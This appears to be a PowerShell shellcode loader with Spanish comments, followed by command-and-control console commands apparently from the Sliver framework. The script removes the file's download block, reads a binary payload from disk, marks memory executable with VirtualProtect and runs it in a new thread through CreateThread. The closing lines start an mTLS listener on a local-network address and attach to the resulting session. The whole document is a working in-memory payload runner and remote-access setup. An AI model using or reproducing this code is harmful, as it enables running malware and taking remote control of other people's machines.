# Desbloquear el archivo para evitar la advertencia de seguridad
Unblock-File -Path $MyInvocation.MyCommand.Path
# Ruta al archivo binario
$binPath = "C:\Users\las\Desktop\LIVELY_RELATION.bin"
# Leer los bytes del archivo binario
$sc = [System.IO.File]::ReadAllBytes($binPath)
# Reservar memoria para el shellcode
$ptr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($sc.Length)
# Copiar los bytes en la memoria reservada
[System.Runtime.InteropServices.Marshal]::Copy($sc, 0, $ptr, $sc.Length)
# Establecer permisos de ejecución
$oldProtect = 0
Add-Type @"
using System;
using System.Runtime.InteropServices;
public class Kernel32 {
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool VirtualProtect(IntPtr lpAddress, UInt32 dwSize, UInt32 flNewProtect, ref UInt32 lpflOldProtect);
[DllImport("kernel32.dll")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, UInt32 dwStackSize, IntPtr lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);
[DllImport("kernel32.dll")]
public static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);
}
"@
# Cambiar los permisos de la memoria para que sea ejecutable
[Kernel32]::VirtualProtect($ptr, $sc.Length, 0x40, [ref]$oldProtect)
# Crear un hilo y ejecutar el shellcode
$threadId = 0
$hThread = [Kernel32]::CreateThread([IntPtr]::Zero, 0, $ptr, [IntPtr]::Zero, 0, [ref]$threadId)
# Esperar a que termine la ejecución (espera indefinida)
[Kernel32]::WaitForSingleObject($hThread, [UInt32]::MaxValue)
mtls --lhost 192.168.175.128 --lport 443
jobs # Verifica los listeners activos
.\script.ps1 # Ejecuta el script PowerShell
use <ID> # Interactúa con la sesión establecida (reemplaza <ID> con el ID de sesión)